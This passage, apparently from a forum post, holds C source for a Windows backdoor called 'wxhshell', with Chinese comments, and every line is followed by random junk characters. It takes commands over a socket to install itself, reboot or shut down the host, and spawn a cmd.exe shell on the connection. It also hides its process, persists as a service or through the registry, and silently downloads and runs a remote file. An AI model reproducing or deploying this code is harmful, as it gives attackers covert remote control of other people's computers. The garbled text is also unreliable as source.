  // 安装  %oZ6l*  
  case 'i': { Mxyb5h  
    if(Install()) c'%-jG)\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]:Ns f|C0  
    else mOy^vMa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =cm~vDl[  
    break; ;7?kl>5]  
    } 2+QYhdw  
  // 卸载 5=v}W:^v.  
  case 'r': { p i %< Sy  
    if(Uninstall()) pTPi@SBaP{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,_u/5Y4  
    else [|(N_[E|6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pWK(z[D  
    break; N G "C&v  
    } }1Gv)l7  
  // 显示 wxhshell 所在路径 Cd,jDPrw  
  case 'p': { FbS|~Rp~  
    char svExeFile[MAX_PATH]; qf!p 9@4F[  
    strcpy(svExeFile,"\n\r"); 9N@W\DT  
      strcat(svExeFile,ExeFile); )Im#dVQs=  
        send(wsh,svExeFile,strlen(svExeFile),0); VH9dleZ  
    break; 9 Vkb>yFX'  
    } }001K  
  // 重启 yeXx',]a  
  case 'b': { q"\Z-D0B4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,]46I.]  
    if(Boot(REBOOT)) Qw-~>d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "P 7nNa  
    else { sH{4Y-J  
    closesocket(wsh); &;^YBW:I  
    ExitThread(0); 0AZ")<^~7  
    } LAB=Vp1y3[  
    break; c 0,0`+2~  
    } lAb*fafQy  
  // 关机 j[`j9mM8  
  case 'd': { @ [:ZS+1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /]K^ rw[  
    if(Boot(SHUTDOWN)) 9s\A\$("l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Lc Z`1  
    else { z@!`:'ak  
    closesocket(wsh); PVe xa|aaX  
    ExitThread(0); nyQ&f'<   
    } ]{3)^axW;  
    break; idLWe9gC  
    } %|auAq&w  
  // 获取shell jyZ  (RB  
  case 's': { )eUh=eW  
    CmdShell(wsh); ns9U/ :L  
    closesocket(wsh); g%sluT[#  
    ExitThread(0); ??^5;P{yx  
    break; KaPAa:Q  
  } u_@f$  
  // 退出 "|EM;o  
  case 'x': { h;p>o75O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r+A{JHnN  
    CloseIt(wsh); VEWi_;=J1  
    break; cr%"$1sY;  
    } z>LUH  
  // 离开 /5S30 |K  
  case 'q': { 6.sx?YYM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fT;s-v[`k  
    closesocket(wsh); 8[a=OP  
    WSACleanup(); ^]H5h]U '  
    exit(1); ,|3MG",@@h  
    break; "Lzi+1  
        } <f ZyAa3}  
  } yMG1XEhuG  
  } :0Bq^G"ge  
Z_$%.  
  // 提示信息 ~5NXd)2+Ks  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =#;3Q~:Jl^  
} U_M$#i{_  
  } '.on)Zd.  
\.0^n3y  
  return; X.OD`.!>  
} SzAJ2:qhl  
|9uOUE  
// shell模块句柄 CnU*Jb  
int CmdShell(SOCKET sock) eX?OYDDC0j  
{ )Lk639r  
STARTUPINFO si; ;!=G   
ZeroMemory(&si,sizeof(si)); n&L+wqJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bt[/0>i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZWii)0'PV  
PROCESS_INFORMATION ProcessInfo; z(o,m3@v  
char cmdline[]="cmd"; n+! AnKq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eiuSvyY  
  return 0; jL y  
} +cWLjPD/}  
!*/*8re  
// 自身启动模式 Okgv!Nt8)A  
int StartFromService(void) lackB2J9 A  
{ 9Q -HeXvR  
typedef struct LO'**}vm  
{ ,c$,!.r  
  DWORD ExitStatus; jy7\+i  
  DWORD PebBaseAddress; |D'4uN8\  
  DWORD AffinityMask; ke{8 ^X~#  
  DWORD BasePriority; 3yANv?$a  
  ULONG UniqueProcessId; BK*x] zG$  
  ULONG InheritedFromUniqueProcessId; 3NZK*!@ '  
}   PROCESS_BASIC_INFORMATION; _my"%@n  
-T!f,g3vW  
PROCNTQSIP NtQueryInformationProcess; gep;{G}  
Ulhk$CPA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T _M!<J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5&xB6|k  
yH7F''O7  
  HANDLE             hProcess; (VS5V31"  
  PROCESS_BASIC_INFORMATION pbi; ?xK8#  
1m+p;T$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X"MB|N y  
  if(NULL == hInst ) return 0; fz;iOjr>  
vVj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wi>!{.}%A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M]<?k]_p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U2$d%8G  
|\w=u6jX  
  if (!NtQueryInformationProcess) return 0; ^*S ,xP  
wU8Mt#D!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L9-h;] x!  
  if(!hProcess) return 0; tM2)k+fg  
JROM_>mC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?:Mr=]sD  
6\L0mcXR!  
  CloseHandle(hProcess); z25lZI" X`  
%?LOs H   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0WT{,/>  
if(hProcess==NULL) return 0; hhb?6]Z/  
#btLa\HJ  
HMODULE hMod; 0fc/wfv <  
char procName[255]; 0?sRDYaX;c  
unsigned long cbNeeded; aHlcfh9|  
 rL/H2[d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |]QqXE-7  
Mc#*wEo)8  
  CloseHandle(hProcess); &lR 6sb\  
@|LBn6q  
if(strstr(procName,"services")) return 1; // 以服务启动 %509\;el  
0MV>"aV  
  return 0; // 注册表启动 -r#X~2tPzD  
} YiYV>gaf"H  
Q=BZ N]g2  
// 主模块 FSUttg"  
int StartWxhshell(LPSTR lpCmdLine) [FK<96.nt  
{ b5,x1`#7k  
  SOCKET wsl; x??pBhJH  
BOOL val=TRUE; +${D  
  int port=0; y+!+ D[x  
  struct sockaddr_in door; J%V-Q>L  
~CVe yk< (  
  if(wscfg.ws_autoins) Install(); 1h>yu3O  
t^`O{m<  
port=atoi(lpCmdLine); |UP `B|  
7uT:b!^f[  
if(port<=0) port=wscfg.ws_port; 2LNRtW*  
/ y A7%2  
  WSADATA data; !icT/5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \(VTt|}By$  
p(PMZVV`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S5KEXnjm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  |?Frj  
  door.sin_family = AF_INET; ? 9! Z<H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dw=gs{8D  
  door.sin_port = htons(port); Ob}?zl@  
=1O<E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5~Cakd ]>  
closesocket(wsl); SF}<{x_  
return 1; fLDg~;3  
} &=<x#h-  
NM]s8cK_  
  if(listen(wsl,2) == INVALID_SOCKET) { QYa(N[~a  
closesocket(wsl); smdZxFl  
return 1; tniDF>Rb  
} B.g[c97  
  Wxhshell(wsl); BYO"u6  
  WSACleanup(); /CuXa%Ci^  
[cTe54n  
return 0; &FH2fMLQ  
nl(WJKq'  
} K+Z+wA?  
3uZJ.Fb  
// 以NT服务方式启动 ?."&MZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $U$V?x uE  
{ |+35y_i6  
DWORD   status = 0; AK= h[2(  
  DWORD   specificError = 0xfffffff; %honO@$  
Mva3+T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JYrY[',u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uch>AuF:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pl5P2&k  
  serviceStatus.dwWin32ExitCode     = 0; Tneq6>  
  serviceStatus.dwServiceSpecificExitCode = 0; JJltPGT~Oa  
  serviceStatus.dwCheckPoint       = 0; :(a]V"(&Eq  
  serviceStatus.dwWaitHint       = 0; e1>aTu@  
! iptT(2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %V1Z~HC  
  if (hServiceStatusHandle==0) return; P6 ;'Sza  
Di@GY!  
status = GetLastError(); N[<H7_/3  
  if (status!=NO_ERROR) r'dr9"-{  
{ "p/j; 6H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /,MJq#@K  
    serviceStatus.dwCheckPoint       = 0; d~/q"r1"  
    serviceStatus.dwWaitHint       = 0; ~6pr0uyO`  
    serviceStatus.dwWin32ExitCode     = status; yC3yij<oR  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2:BF[c`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Ro6fjjE  
    return; \k]x;S<a  
  } B!dU>0&Ct  
?Zc"C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rx*BwZ  
  serviceStatus.dwCheckPoint       = 0; `%E8-]{uS  
  serviceStatus.dwWaitHint       = 0; X=6y_^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  6\u!E~zy  
} -pU|hSW*b  
' zEI;v  
// 处理NT服务事件,比如:启动、停止 :U d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rwniOQe  
{ DNR~_3Aq  
switch(fdwControl) )mJf|W!Z#  
{ U9&k;`  
case SERVICE_CONTROL_STOP: tV_t6x_.  
  serviceStatus.dwWin32ExitCode = 0; Tx 1 vL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?E9DXg  
  serviceStatus.dwCheckPoint   = 0; &O)&k  
  serviceStatus.dwWaitHint     = 0; ?9HhG?_x  
  { j ,)P9V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DbZ0e5  
  } 7R3fqU.Rq  
  return; PN$X N<  
case SERVICE_CONTROL_PAUSE: osOVg0Gyj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mAeuw7Ni  
  break; T1` |~Z?g-  
case SERVICE_CONTROL_CONTINUE: { F'Kk\f%:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'lo  
  break; c(U  
case SERVICE_CONTROL_INTERROGATE: iJv48#'ii  
  break; xrqv@/kJ  
}; jSOS}!=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IcrL   
} D?~8za`5  
lJzl6&  
// 标准应用程序主函数 tM,%^){p$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ' JdkUhq1V  
{ WKr X,GF  
rZojY}dWJ  
// 获取操作系统版本 6cdMS[_SD(  
OsIsNt=GetOsVer(); ?sBh=Ds  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B/J>9||g  
hH->%*  
  // 从命令行安装 Um)>2|rp}  
  if(strpbrk(lpCmdLine,"iI")) Install(); `e]6#iJ^  
2oZ9laJO  
  // 下载执行文件 X 6 lH|R  
if(wscfg.ws_downexe) { ;' nL:\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >sD4R}\})  
  WinExec(wscfg.ws_filenam,SW_HIDE); w-b' LP  
} Vvt  ;  
c=[q(|+O!  
if(!OsIsNt) { cBYfXI0`  
// 如果时win9x,隐藏进程并且设置为注册表启动 {kLGWbo|Q  
HideProc(); Fl{WAg  
StartWxhshell(lpCmdLine); '4OcZ/oI  
} #fs|BV !  
else {%.Lk'#9  
  if(StartFromService()) 4KI [D{  
  // 以服务方式启动 sM\lO  
  StartServiceCtrlDispatcher(DispatchTable); pi5GxDA]  
else ~AG$5!  
  // 普通方式启动 ]h!`IX  
  StartWxhshell(lpCmdLine); NQ|xM"MqD  
z[#Fog  
return 0; r]P,9  
}
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只看该作者 1 发表于: 2006-10-10
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